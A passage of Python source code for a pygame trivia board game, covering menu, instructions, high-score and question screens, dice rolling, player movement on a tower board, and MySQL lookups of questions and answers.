self.Screen = pygame.display.set_mode(self.Size)\n self.MouseClicked = False\n\n def process_events(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return True\n\n if event.type == pygame.KEYDOWN or event.type == pygame.KEYUP:\n keyPressType = event.type\n self.handle_key(event.key, keyPressType)\n\n if event.type == pygame.MOUSEMOTION:\n\n mousePosition_x, mousePosition_y = pygame.mouse.get_pos()\n\n if self.previousMousePosition == -1:\n self.previousMousePosition = mousePosition_y\n else:\n self.previousMousePosition = self.mousePosition\n\n self.mousePosition = mousePosition_y\n\n if self.mouseHoldPress == True:\n if (self.previousMousePosition - 5 < self.mousePosition < self.previousMousePosition + 5):\n self.handle_key(pygame.K_DOWN, pygame.KEYUP)\n elif (self.previousMousePosition > self.mousePosition):\n self.handle_key(pygame.K_DOWN, pygame.KEYDOWN)\n elif (self.previousMousePosition < self.mousePosition):\n self.handle_key(pygame.K_UP, pygame.KEYDOWN)\n else:\n self.handle_key(pygame.K_DOWN, pygame.KEYUP)\n else:\n self.handle_key(pygame.K_DOWN, pygame.KEYUP)\n\n if event.type == pygame.MOUSEBUTTONDOWN or event.type == pygame.MOUSEBUTTONUP:\n\n if event.button == 1 and event.type == pygame.MOUSEBUTTONDOWN:\n self.mouseHoldPress = True\n self.MouseClicked = True\n self.handle_key(pygame.MOUSEBUTTONDOWN, pygame.KEYDOWN)\n\n elif event.button == 1 and event.type == pygame.MOUSEBUTTONUP:\n self.mouseHoldPress = False\n self.handle_key(pygame.K_DOWN, pygame.KEYUP)\n\n return True\n\n def handle_event(self, action):\n action.run()\n\n def handle_key(self, keyPressed, keyPressType):\n pass\n\n def draw(self):\n background = pygame.image.load(\"images/menu_bg.png\")\n startbutton = pygame.image.load(\"images/start_button.png\")\n instructionsbutton = pygame.image.load(\"images/instructions_button.png\")\n scorebutton = pygame.image.load(\"images/Score_Button.png\")\n quitbutton = pygame.image.load(\"images/quit_Button.png\")\n\n self.Screen.blit(background, (0, 0))\n self.startButt = self.Screen.blit(startbutton, (50, self.Height - 100))\n self.instructionsButt = self.Screen.blit(instructionsbutton, (400, self.Height - 100))\n self.scoreButt = self.Screen.blit(scorebutton, (750, self.Height - 100))\n self.quitButt = self.Screen.blit(quitbutton, (1000, self.Height - 100))\n\n def run(self):\n while self.process_events():\n self.draw()\n pygame.display.update()\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n pos = pygame.mouse.get_pos()\n if self.startButt.collidepoint(pos):\n Game().run()\n if self.scoreButt.collidepoint(pos):\n Highscore().run()\n if self.instructionsButt.collidepoint(pos):\n Instruction().run()\n if self.quitButt.collidepoint(pos):\n Terminate().run()\n\n\nclass Instruction(Main):\n textStartingPoint_Y = 60\n scrollNavigation = 0\n\n def __init__(self):\n Main.__init__(self)\n\n def handle_event(self, action):\n action.run();\n\n def handle_key(self, keyPressed, keyPressType):\n\n if keyPressed == pygame.MOUSEBUTTONDOWN:\n pos = pygame.mouse.get_pos()\n if self.backButt.collidepoint(pos):\n main.run()\n\n if keyPressType == pygame.KEYDOWN or keyPressType == pygame.MOUSEBUTTONDOWN:\n if keyPressed == pygame.K_UP:\n self.scrollNavigation = 10\n if keyPressed == pygame.K_DOWN:\n self.scrollNavigation = -10\n\n if keyPressType == pygame.KEYUP or keyPressType == pygame.MOUSEBUTTONUP:\n self.scrollNavigation = 0\n\n def run(self):\n while self.process_events():\n # Drawing logic\n self.draw()\n\n # Reveal what we drew\n pygame.display.flip()\n\n def draw(self):\n background = pygame.image.load(\"images/textmenu_bg.png\")\n backbutton = pygame.image.load(\"images/back_button.png\")\n\n self.Screen.blit(background, (0, 0))\n self.backButt = self.Screen.blit(backbutton, (25, 25))\n\n with open('instructions.txt', 'r') as instructions:\n rule = instructions.read()\n rules = rule.split(\"\\n\")\n\n if (self.textStartingPoint_Y == -810 and self.scrollNavigation == -10):\n self.scrollNavigation = 0\n if (self.textStartingPoint_Y == 50 and self.scrollNavigation == 10):\n self.scrollNavigation = 0\n\n self.textStartingPoint_Y += self.scrollNavigation\n startingPointForLines = self.textStartingPoint_Y\n\n smallText = pygame.font.Font('freesansbold.ttf', 20)\n\n for oneLine in rules:\n # Places the lines underneath each other\n startingPointForLines = startingPointForLines + 20\n\n if \":\" in oneLine:\n smallText.set_bold(True)\n else:\n smallText.set_bold(False)\n\n if 60 < startingPointForLines < 690:\n TextSurf, TextRect = self.Utilities.text_object(oneLine, smallText)\n TextRect.center = ((self.Height / 1.5), startingPointForLines)\n self.Screen.blit(TextSurf, [200, startingPointForLines])\n\n pygame.draw.rect(self.Screen, white, (193, 23, 895, 50))\n\n largeText = pygame.font.Font('freesansbold.ttf', 30)\n\n TextSurf, TextRect = self.Utilities.text_object(\"Game Rules\", largeText)\n TextRect.center = ((self.Width / 2), 50)\n self.Screen.blit(TextSurf, TextRect)\n\n # Draw entities\n\n\nclass Terminate(Main):\n def __init__(self):\n Main.__init__(self)\n\n def draw(self):\n background = pygame.image.load(\"images/menu_bg.png\")\n backbutton = pygame.image.load(\"images/back2_button.png\")\n quitbutton = pygame.image.load(\"images/quit2_button.png\")\n\n self.Screen.blit(background, (0, 0))\n self.backButt = self.Screen.blit(backbutton, (self.Width / 3, self.Height / 3))\n self.quitButt = self.Screen.blit(quitbutton, (self.Width / 2.25, self.Height / 2))\n\n def run(self):\n while self.process_events():\n self.draw()\n pygame.display.update()\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n pos = pygame.mouse.get_pos()\n if self.backButt.collidepoint(pos):\n Main().run()\n if self.quitButt.collidepoint(pos):\n quit()\n\n\nclass Database:\n def __init__(self):\n self.Con = sql.connect(user='root', password='root', host='127.0.0.1', port=8889, database='project2')\n self.Cur = self.Con.cursor()\n\n\nclass Highscore(Main):\n def __init__(self):\n Main.__init__(self)\n self.Database = Database()\n\n def run(self):\n while self.process_events():\n # Drawing logic\n self.Screen.fill(blue)\n\n # Draw entities\n self.draw()\n\n # Reveal what we drew\n pygame.display.flip()\n\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n pos = pygame.mouse.get_pos()\n if self.backButt.collidepoint(pos):\n Main().run()\n\n def displayHighScores(self):\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n hsArray = [\"Name\", \"Wins\", \"Loses\", \"W/L Ratio\"]\n cur = self.Database.Cur\n\n cur.execute(\"SELECT Name, Wins, Loses FROM user ORDER BY Wins DESC LIMIT 10\")\n hstpl = cur.fetchall()\n\n txtStartX = (self.Width / 6)\n txtStartY = (self.Height / 15)\n\n txtColor = green\n\n for hs in hsArray:\n TextSurf, TextRect = self.Utilities.text_object(hs, largeText, None, txtColor)\n TextRect.center = (txtStartX, txtStartY)\n self.Screen.blit(TextSurf, [txtStartX, txtStartY])\n txtStartX += (self.Width / 5)\n\n txtStartX = (self.Width / 6)\n txtStartY = (self.Height / 11) + 30\n txtColor = black\n\n for hsentry in hstpl:\n gamesPlayed = hsentry[1] + hsentry[2]\n ratio = round((hsentry[1] / gamesPlayed) * 100, 2)\n\n TextSurf, TextRect = self.Utilities.text_object(hsentry[0], largeText, None, txtColor)\n TextRect.center = (txtStartX, txtStartY)\n self.Screen.blit(TextSurf, [txtStartX, txtStartY])\n\n txtStartX += (self.Width / 5)\n\n TextSurf, TextRect = self.Utilities.text_object(str(hsentry[1]), largeText, None, txtColor)\n TextRect.center = (txtStartX, txtStartY)\n self.Screen.blit(TextSurf, [txtStartX, txtStartY])\n\n txtStartX += (self.Width / 5)\n\n TextSurf, TextRect = self.Utilities.text_object(str(hsentry[2]), largeText, None, txtColor)\n TextRect.center = (txtStartX, txtStartY)\n self.Screen.blit(TextSurf, [txtStartX, txtStartY])\n\n txtStartX += (self.Width / 5)\n\n TextSurf, TextRect = self.Utilities.text_object(\"%\" + str(ratio), largeText, None, txtColor)\n TextRect.center = (txtStartX, txtStartY)\n self.Screen.blit(TextSurf, [txtStartX, txtStartY])\n\n txtStartX += (self.Width / 5)\n\n txtStartX = (self.Width / 6)\n txtStartY += (self.Height / 11.5)\n\n def draw(self):\n background = pygame.image.load(\"images/textmenu_bg.png\")\n backbutton = pygame.image.load(\"images/back_button.png\")\n\n self.Screen.blit(background, (0, 0))\n self.backButt = self.Screen.blit(backbutton, (25, 25))\n\n self.displayHighScores()\n\n\nclass Button:\n def _init_(self, x, y, width, height, text, font, background_color, text_color):\n self.Position = Point(x, y)\n self.Width = width\n self.Height = height\n self.Text = text\n self.Font = font\n self.BackgroundColor = background_color\n self.TextColor = text_color\n self.Utilities = Utilities()\n\n def draw(self, screen):\n pygame.draw.rect(screen, self.BackgroundColor, (self.Position.X, self.Position.Y, self.Width, self.Height))\n TextSurf, TextRect = self.Utilities.text_object(self.Text, self.Font, None, self.TextColor)\n TextRect.center = ((self.Position.X + (self.Width / 2)), (self.Position.Y + (self.Height / 2)))\n screen.blit(TextSurf, TextRect)\n\n\nclass AnswerList:\n def __init__(self, db):\n self.Database = db\n self.correctAnswer = \"\"\n\n def get_answers_for_question(self, id):\n # Get all the answers from the question\n self.Database.Cur.execute(\"SELECT Answer, isCorrect FROM answer WHERE Question_Id = %s\", int(id))\n answers = self.Database.Cur.fetchall()\n listOfShuffledAnswers = list(answers)\n random.shuffle(listOfShuffledAnswers)\n\n listOfOptions = [\"A: \", \"B: \", \"C: \", \"D: \"]\n for i in range(0, len(listOfShuffledAnswers)):\n answer = listOfShuffledAnswers[i]\n listOfShuffledAnswers[i] = (listOfOptions[i] + answer[0], answer[1])\n\n if answer[1]:\n self.correctAnswer = listOfOptions[i][:1]\n\n return listOfShuffledAnswers\n\n\nclass QuestionList:\n def __init__(self, db):\n self.Database = db\n\n def get(self):\n # Select a question from questions with the same category\n self.Database.Cur.execute(\"SELECT * FROM question\")\n self.this = self.Database.Cur.fetchall()\n return self.this\n\n def get_question_by_cat(self, category):\n questions = list(filter(lambda question: question[1] == category, self.this))\n return random.choice(questions)\n\n\nclass ImageButton:\n def _init_(self):\n pass\n\n\nclass MoveSelection:\n def _init_(self, width, height, background_color, current_player):\n self.Width = width\n self.Height = height\n self.BackgroundColor = background_color\n\n def draw(self):\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n smallText = pygame.font.Font('freesansbold.ttf', 15)\n\n pygame.draw.rect(self.Screen, white,\n ((self.Width / 2), 0, (self.Width / 2), self.Height))\n\n self.showExitgameButton()\n\n currentPlayer = self.Players[self.indexOfCurrentPlayer]\n\n TextSurf, TextRect = self.Utilities.text_object(\"Choose your move \" + str(currentPlayer.Name), largeText, None,\n black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 6))\n self.Screen.blit(TextSurf, TextRect)\n\n arrowUpImage = pygame.image.load(\"images/arrow_up.png\")\n arrowDownImage = pygame.image.load(\"images/arrow_down.png\")\n arrowLLeftImage = pygame.image.load(\"images/arrow_left.png\")\n arrowRightImage = pygame.image.load(\"images/arrow_right.png\")\n\n if currentPlayer.RowIndex < 14:\n self.Screen.blit(arrowDownImage, (((self.Width / 100) * 70), ((self.Height / 100) * 60)))\n\n self.Screen.blit(arrowUpImage, (((self.Width / 100) * 70), ((self.Height / 100) * 30)))\n self.Screen.blit(arrowLLeftImage, (((self.Width / 100) * 60), ((self.Height / 100) * 45)))\n self.Screen.blit(arrowRightImage, (((self.Width / 100) * 80), ((self.Height / 100) * 45)))\n\n\nclass Game(Main):\n clickedAnswer = \"\"\n indexOfCurrentPlayer = -1\n chosenCharacterMove = \"\"\n question = \"\"\n answers = None\n gameHasEnded = False\n playerHasMoved = False\n resultOfRolledDice = -1\n goToQuestionButtonClicked = False\n selectedPlayers = \"\"\n chosenName = \"\"\n\n def __init__(self):\n Main.__init__(self)\n self.Database = Database()\n self.Tower = Tower((self.Width / 2, self.Height))\n self.Players = []\n self.PlayerCount = -1\n self.Errorstr = \"\"\n self.firstPlayerSelected = False\n self.font = pygame.font.SysFont('Arial', 25)\n self.QuestionListObj = QuestionList(self.Database)\n self.AnswerListObj = AnswerList(self.Database)\n self.Questions = self.QuestionListObj.get()\n self.txtbox = eztext.Input(maxlength=45, color=(0, 0, 0), x=700, y=200, prompt='Name1: ')\n self.txtbox2 = eztext.Input(maxlength=45, color=(0, 0, 0), x=700, y=225, prompt='Name2: ')\n self.txtbox3 = eztext.Input(maxlength=45, color=(0, 0, 0), x=700, y=250, prompt='Name3: ')\n self.txtbox4 = eztext.Input(maxlength=45, color=(0, 0, 0), x=700, y=275, prompt='Name4: ')\n self.currenttxtbox = self.txtbox\n self.start_ticks = None\n\n def run(self):\n cnt = 0\n while self.process_events():\n # Drawing logic\n\n self.Screen.fill(black)\n self.draw()\n # Draw entities\n self.Tower.draw(self.Screen)\n for player in self.Players:\n if player.Position.X != 0 and player.Position.Y != 0:\n player.draw(self.Screen)\n\n # Reveal what we drew\n pygame.display.flip()\n\n def calculateAmountOfMoves(self, rolledDice, direction, player):\n\n amountOfMoves = -1\n if rolledDice <= 2:\n amountOfMoves = 1\n elif rolledDice <= 4:\n amountOfMoves = 2\n elif rolledDice <= 6:\n amountOfMoves = 3\n\n return amountOfMoves\n\n def checkIfPlayerIsOnSamePostition(self):\n pass\n\n def move_player(self, player, direction):\n\n amountOfMoves = self.calculateAmountOfMoves(self.resultOfRolledDice, direction, player)\n\n if direction == \"UP\":\n if player.RowIndex > 0:\n player.RowIndex -= amountOfMoves\n elif direction == \"DOWN\":\n if player.RowIndex < 14:\n player.RowIndex += amountOfMoves\n\n if direction == \"LEFT\":\n nextColIndex = player.ColIndex - amountOfMoves\n if nextColIndex < 0:\n nextColIndex += 8\n player.ColIndex = nextColIndex\n\n elif direction == \"RIGHT\":\n nextColIndex = player.ColIndex + amountOfMoves\n if nextColIndex > 7:\n nextColIndex -= 6\n player.ColIndex = nextColIndex\n\n if player.IsInUpperTower == False:\n if (player.ColIndex == 6 or player.ColIndex == 7) and player.RowIndex < 5:\n player.ColIndex = 3\n player.IsInUpperTower = True\n elif (player.ColIndex == 4 or player.ColIndex == 5) and player.RowIndex < 5:\n player.ColIndex = 2\n player.IsInUpperTower = True\n elif (player.ColIndex == 2 or player.ColIndex == 3) and player.RowIndex < 5:\n player.ColIndex = 1\n player.IsInUpperTower = True\n elif (player.ColIndex == 0 or player.ColIndex == 1) and player.RowIndex < 5:\n player.ColIndex = 0\n player.IsInUpperTower = True\n\n if player.RowIndex <= 0:\n player.RowIndex = 0\n self.gameHasEnded = True\n player.HasWon = True\n\n player.update(self.Tower.Rows[player.RowIndex][player.ColIndex].X - 30,\n self.Tower.Rows[player.RowIndex][player.ColIndex].Y - 30)\n\n def roll_dice(self):\n dice = [1, 2, 3, 4, 5, 6]\n return random.choice(dice)\n\n def find(self, s, ch):\n return [i for i, ltr in enumerate(s) if ltr == ch]\n\n def displayQuestion(self, screen, question, answers):\n\n question = question[2]\n\n # Save When Question Is Displayed\n if self.start_ticks == None:\n self.start_ticks = pygame.time.get_ticks()\n\n # Check Difference\n seconds = (pygame.time.get_ticks() - self.start_ticks) / 1000\n if seconds > 50:\n self.clickedAnswer = \"TIME\"\n self.checkAnswer(self.clickedAnswer)\n\n pygame.draw.rect(screen, white, ((self.Width / 2), 0, (self.Width / 2), (self.Height / 2)))\n\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n smallText = pygame.font.Font('freesansbold.ttf', 15)\n\n pygame.draw.rect(screen, white, ((self.Width / 2), 0, (self.Width / 2), (self.Height / 2)))\n\n if self.clickedAnswer == \"\":\n TextSurf, TextRect = self.Utilities.text_object(\"Time Spend: \" + str(seconds), smallText, None, black)\n TextRect = (((self.Width / 100) * 51), ((self.Height / 100) * 5))\n screen.blit(TextSurf, TextRect)\n\n TextSurf, TextRect = self.Utilities.text_object(\"Question:\", largeText, None, black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 6))\n screen.blit(TextSurf, TextRect)\n\n # Split the question if length > 40\n lengthOfQuestion = len(question)\n if lengthOfQuestion > 40:\n indexesOfSpaces = self.find(question, \" \")\n splittedQuestion = False\n for indexOfSpace in indexesOfSpaces:\n if splittedQuestion is False:\n if indexOfSpace > 30:\n # Display the question\n firstPartOfQuestion, secondPartOfQuestion = question[:indexOfSpace], question[indexOfSpace:]\n\n TextSurf, TextRect = self.Utilities.text_object(firstPartOfQuestion, smallText, None,\n black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 16))\n screen.blit(TextSurf, TextRect)\n\n TextSurf, TextRect = self.Utilities.text_object(secondPartOfQuestion, smallText, None,\n black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 19))\n screen.blit(TextSurf, TextRect)\n splittedQuestion = True\n\n else:\n TextSurf, TextRect = self.Utilities.text_object(question, smallText, None, black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 16))\n screen.blit(TextSurf, TextRect)\n\n startingYPointOfAnswer = ((self.Height / 100) * 28)\n\n # Loop trought answers\n for answer in answers:\n\n textColor = black\n\n # Look if the answer we loop throught isCorrect or not\n isCorrect = answer[1]\n\n if self.clickedAnswer != \"\":\n if isCorrect == 1:\n textColor = green\n else:\n textColor = red\n\n if (answer == answers[0]):\n TextSurf, TextRect = self.Utilities.text_object(answer[0], smallText, None, textColor)\n TextRect.center = (((self.Width / 100) * 75), startingYPointOfAnswer)\n screen.blit(TextSurf, TextRect)\n elif (answer == answers[1]):\n TextSurf, TextRect = self.Utilities.text_object(answer[0], smallText, None, textColor)\n TextRect.center = (((self.Width / 100) * 75), startingYPointOfAnswer)\n screen.blit(TextSurf, TextRect)\n elif (answer == answers[2]):\n TextSurf, TextRect = self.Utilities.text_object(answer[0], smallText, None, textColor)\n TextRect.center = (((self.Width / 100) * 75), startingYPointOfAnswer)\n screen.blit(TextSurf, TextRect)\n elif (answer == answers[3]):\n TextSurf, TextRect = self.Utilities.text_object(answer[0], smallText, None, textColor)\n TextRect.center = (((self.Width / 100) * 75), startingYPointOfAnswer)\n screen.blit(TextSurf, TextRect)\n\n startingYPointOfAnswer += 20\n\n if self.clickedAnswer == \"\":\n pygame.draw.rect(screen, white,\n ((self.Width / 2), (self.Height / 2) + 2, (self.Width / 2), (self.Height / 2) - 2))\n\n self.showExitgameButton()\n\n TextSurf, TextRect = self.Utilities.text_object(\"Answers:\", largeText, None, black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 60))\n screen.blit(TextSurf, TextRect)\n\n firstXAxis = ((self.Width / 100) * 52)\n secondXAxis = ((self.Width / 100) * 75)\n\n firstYAxis = ((self.Height / 100) * 70)\n secondYAxis = ((self.Height / 100) * 80)\n\n buttonWidth = ((self.Height / 100) * 25)\n buttonHeight = ((self.Height / 100) * 6)\n\n lengthofAnswers = len(self.answers)\n\n if lengthofAnswers > 0:\n pygame.draw.rect(screen, red, (firstXAxis, firstYAxis, buttonWidth, buttonHeight))\n TextSurf, TextRect = self.Utilities.text_object(\"A\", smallText, None, white)\n TextRect.center = ((firstXAxis + (buttonWidth / 2)), (firstYAxis + (buttonHeight / 2)))\n screen.blit(TextSurf, TextRect)\n\n if lengthofAnswers > 1:\n pygame.draw.rect(screen, green, (secondXAxis, firstYAxis, buttonWidth, buttonHeight))\n TextSurf, TextRect = self.Utilities.text_object(\"B\", smallText, None, white)\n TextRect.center = ((secondXAxis + (buttonWidth / 2)), (firstYAxis + (buttonHeight / 2)))\n screen.blit(TextSurf, TextRect)\n\n if lengthofAnswers > 2:\n pygame.draw.rect(screen, blue, (firstXAxis, secondYAxis, buttonWidth, buttonHeight))\n TextSurf, TextRect = self.Utilities.text_object(\"C\", smallText, None, white)\n TextRect.center = ((firstXAxis + (buttonWidth / 2)), (secondYAxis + (buttonHeight / 2)))\n screen.blit(TextSurf, TextRect)\n\n if lengthofAnswers > 3:\n pygame.draw.rect(screen, black, (secondXAxis, secondYAxis, buttonWidth, buttonHeight))\n TextSurf, TextRect = self.Utilities.text_object(\"D\", smallText, None, white)\n TextRect.center = ((secondXAxis + (buttonWidth / 2)), (secondYAxis + (buttonHeight / 2)))\n screen.blit(TextSurf, TextRect)\n\n mouse = pygame.mouse.get_pos()\n click = pygame.mouse.get_pressed()\n\n if self.chosenCharacterMove != \"\":\n if (self.MouseClicked):\n lengthofAnswers = len(self.answers)\n\n if lengthofAnswers > 0:\n if (firstXAxis + buttonWidth > mouse[0] > firstXAxis and firstYAxis + buttonHeight > mouse[\n 1] > firstYAxis):\n self.clickedAnswer = \"A\"\n if lengthofAnswers > 1:\n if (secondXAxis + buttonWidth > mouse[0] > secondXAxis and firstYAxis + buttonHeight > mouse[\n 1] > firstYAxis):\n self.clickedAnswer = \"B\"\n if lengthofAnswers > 2:\n if (firstXAxis + buttonWidth > mouse[0] > firstXAxis and secondYAxis + buttonHeight > mouse[\n 1] > secondYAxis):\n self.clickedAnswer = \"C\"\n if lengthofAnswers > 3:\n if (secondXAxis + buttonWidth > mouse[0] > secondXAxis and secondYAxis + buttonHeight > mouse[\n 1] > secondYAxis):\n self.clickedAnswer = \"D\"\n self.MouseClicked = False\n\n else:\n self.checkAnswer(self.clickedAnswer)\n\n def checkAnswer(self, clickedButton):\n self.start_ticks = None\n if clickedButton == self.AnswerListObj.correctAnswer:\n self.displayResult(True)\n else:\n if clickedButton == \"TIME\":\n self.displayResult(False, True)\n else:\n self.displayResult(False)\n\n def displayResult(self, clickedCorrectAnswer, timeUp=False):\n\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n smallText = pygame.font.Font('freesansbold.ttf', 15)\n\n if clickedCorrectAnswer:\n pygame.draw.rect(self.Screen, green,\n ((self.Width / 2), (self.Height / 2) + 2, (self.Width / 2), (self.Height / 2) - 2))\n\n TextSurf, TextRect = self.Utilities.text_object(\"Correct Answer\", largeText, None, white)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 60))\n self.Screen.blit(TextSurf, TextRect)\n\n if not self.playerHasMoved:\n self.move_player(self.Players[self.indexOfCurrentPlayer], self.chosenCharacterMove)\n self.playerHasMoved = True\n\n\n else:\n pygame.draw.rect(self.Screen, red,\n ((self.Width / 2), (self.Height / 2) + 2, (self.Width / 2), (self.Height / 2) - 2))\n if timeUp:\n TextSurf, TextRect = self.Utilities.text_object(\"Time's Up\", largeText, None, white)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 60))\n self.Screen.blit(TextSurf, TextRect)\n else:\n TextSurf, TextRect = self.Utilities.text_object(\"Incorrect Answer\", largeText, None, white)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 60))\n self.Screen.blit(TextSurf, TextRect)\n\n buttonXAxis = ((self.Width / 100) * 65)\n buttonYAxis = ((self.Height / 100) * 70)\n\n buttonWidth = ((self.Height / 100) * 25)\n buttonHeight = ((self.Height / 100) * 6)\n\n pygame.draw.rect(self.Screen, black, (buttonXAxis, buttonYAxis, buttonWidth, buttonHeight))\n TextSurf, TextRect = self.Utilities.text_object(\"Next Player\", smallText, None, white)\n TextRect.center = ((buttonXAxis + (buttonWidth / 2)), (buttonYAxis + (buttonHeight / 2)))\n self.Screen.blit(TextSurf, TextRect)\n\n self.showExitgameButton()\n\n mouse = pygame.mouse.get_pos()\n click = pygame.mouse.get_pressed()\n if self.clickedAnswer != \"\":\n if (self.MouseClicked):\n\n if (buttonXAxis + buttonWidth > mouse[0] > buttonXAxis and buttonYAxis + buttonHeight > mouse[\n 1] > buttonYAxis):\n # Go to next player\n if self.indexOfCurrentPlayer + 1 >= len(self.Players):\n self.indexOfCurrentPlayer = 0\n else:\n self.indexOfCurrentPlayer += 1\n\n self.clickedAnswer = \"\"\n\n self.chosenCharacterMove = \"\"\n self.playerHasMoved = False\n self.question = \"\"\n self.resultOfRolledDice = -1\n self.goToQuestionButtonClicked = False\n self.MouseClicked = False\n\n def displayMoveSelection(self):\n\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n smallText = pygame.font.Font('freesansbold.ttf', 15)\n\n pygame.draw.rect(self.Screen, white,\n ((self.Width / 2), 0, (self.Width / 2), self.Height))\n\n self.showExitgameButton()\n\n currentPlayer = self.Players[self.indexOfCurrentPlayer]\n\n TextSurf, TextRect = self.Utilities.text_object(\"Choose your move \" + str(currentPlayer.Name), largeText, None,\n black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 6))\n self.Screen.blit(TextSurf, TextRect)\n\n arrowUpImage = pygame.image.load(\"images/arrow_up.png\")\n arrowDownImage = pygame.image.load(\"images/arrow_down.png\")\n arrowLLeftImage = pygame.image.load(\"images/arrow_left.png\")\n arrowRightImage = pygame.image.load(\"images/arrow_right.png\")\n\n arrowDownImageRect = None\n if currentPlayer.RowIndex < 14:\n arrowDownImageRect = self.Screen.blit(arrowDownImage,\n (((self.Width / 100) * 70), ((self.Height / 100) * 60)))\n\n arrowUpImageRect = self.Screen.blit(arrowUpImage, (((self.Width / 100) * 70), ((self.Height / 100) * 30)))\n arrowLeftImageRect = self.Screen.blit(arrowLLeftImage, (((self.Width / 100) * 60), ((self.Height / 100) * 45)))\n arrowRightImageRect = self.Screen.blit(arrowRightImage, (((self.Width / 100) * 80), ((self.Height / 100) * 45)))\n\n mouse = pygame.mouse.get_pos()\n\n if (self.MouseClicked):\n if (arrowUpImageRect.collidepoint(mouse)):\n self.chosenCharacterMove = \"UP\"\n\n currentPlayer = self.Players[self.indexOfCurrentPlayer]\n if currentPlayer.RowIndex < 14:\n if (arrowDownImageRect.collidepoint(mouse)):\n self.chosenCharacterMove = \"DOWN\"\n\n if (arrowLeftImageRect.collidepoint(mouse)):\n self.chosenCharacterMove = \"LEFT\"\n\n elif (arrowRightImageRect.collidepoint(mouse)):\n self.chosenCharacterMove = \"RIGHT\"\n self.MouseClicked = False\n\n def showEndGameScreen(self):\n\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n smallText = pygame.font.Font('freesansbold.ttf', 15)\n\n pygame.draw.rect(self.Screen, white,\n ((self.Width / 2), 0, (self.Width / 2), self.Height))\n\n self.showExitgameButton()\n\n TextSurf, TextRect = self.Utilities.text_object(\"End Game\", largeText, None, black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 40))\n self.Screen.blit(TextSurf, TextRect)\n self.storePlayerScores()\n\n for player in self.Players:\n if player.HasWon:\n winPlayer = player.Name\n\n TextSurf2, TextRect2 = self.Utilities.text_object(str(winPlayer) + \" has Won!\", largeText, None, green)\n TextRect2.center = (((self.Width / 100) * 75), ((self.Height / 100) * 60))\n self.Screen.blit(TextSurf2, TextRect2)\n\n self.storePlayerScores()\n\n def storePlayerScores(self):\n for player in self.Players:\n player.storeScore(self.Database)\n\n def showRollDiceScreen(self):\n\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n smallText = pygame.font.Font('freesansbold.ttf', 15)\n\n pygame.draw.rect(self.Screen, white,\n ((self.Width / 2), 0, (self.Width / 2), self.Height))\n\n self.showExitgameButton()\n\n currentPlayer = self.Players[self.indexOfCurrentPlayer]\n\n buttonXAxis = ((self.Width / 100) * 68)\n buttonYAxis = ((self.Height / 100) * 50)\n\n buttonWidth = ((self.Height / 100) * 25)\n buttonHeight = ((self.Height / 100) * 6)\n\n mouse = pygame.mouse.get_pos()\n click = pygame.mouse.get_pressed()\n\n if self.resultOfRolledDice == -1:\n\n TextSurf, TextRect = self.Utilities.text_object(\"Roll the dice \" + currentPlayer.Name, largeText, None,\n black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 20))\n self.Screen.blit(TextSurf, TextRect)\n\n pygame.draw.rect(self.Screen, black, (buttonXAxis, buttonYAxis, buttonWidth, buttonHeight))\n TextSurf, TextRect = self.Utilities.text_object(\"Roll The Dice\", smallText, None, white)\n TextRect.center = ((buttonXAxis + (buttonWidth / 2)), (buttonYAxis + (buttonHeight / 2)))\n self.Screen.blit(TextSurf, TextRect)\n\n if (self.MouseClicked):\n if (buttonXAxis + buttonWidth > mouse[0] > buttonXAxis and buttonYAxis + buttonHeight > mouse[\n 1] > buttonYAxis):\n # Give the user a random number\n self.resultOfRolledDice = random.randint(1, 6)\n self.MouseClicked = False\n else:\n\n TextSurf, TextRect = self.Utilities.text_object(\"You got Number \" + str(self.resultOfRolledDice), largeText,\n None,\n black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 40))\n self.Screen.blit(TextSurf, TextRect)\n\n pygame.draw.rect(self.Screen, black, (buttonXAxis, buttonYAxis, buttonWidth, buttonHeight))\n TextSurf, TextRect = self.Utilities.text_object(\"Go To Question\", smallText, None, white)\n TextRect.center = ((buttonXAxis + (buttonWidth / 2)), (buttonYAxis + (buttonHeight / 2)))\n self.Screen.blit(TextSurf, TextRect)\n\n if (self.MouseClicked):\n if (buttonXAxis + buttonWidth > mouse[0] > buttonXAxis and buttonYAxis + buttonHeight > mouse[\n 1] > buttonYAxis):\n # Give the user a random number\n self.goToQuestionButtonClicked = True\n self.MouseClicked = False\n\n def display_player_screen(self):\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n smallText = pygame.font.Font('freesansbold.ttf', 15)\n\n pygame.draw.rect(self.Screen, white,\n ((self.Width / 2), 0, (self.Width / 2), self.Height))\n\n self.showExitgameButton()\n\n if self.PlayerCount == -1:\n self.PlayerSelect()\n else:\n self.player_names()\n\n def player_names(self):\n largeText = pygame.font.Font('freesansbold.ttf', 20)\n TextSurf, TextRect = self.Utilities.text_object(\"What are the player names? \", largeText, None, black)\n TextRect.center = (((self.Width / 100) * 75), ((self.Height / 100) * 6))\n self.Screen.blit(TextSurf, TextRect)\n\n TextSurf2, TextRect2 = self.Utilities.text_object(self.Errorstr, largeText, None,\n red)\n TextRect2.center = (((self.Width / 100) * 75), ((self.Height / 100) * 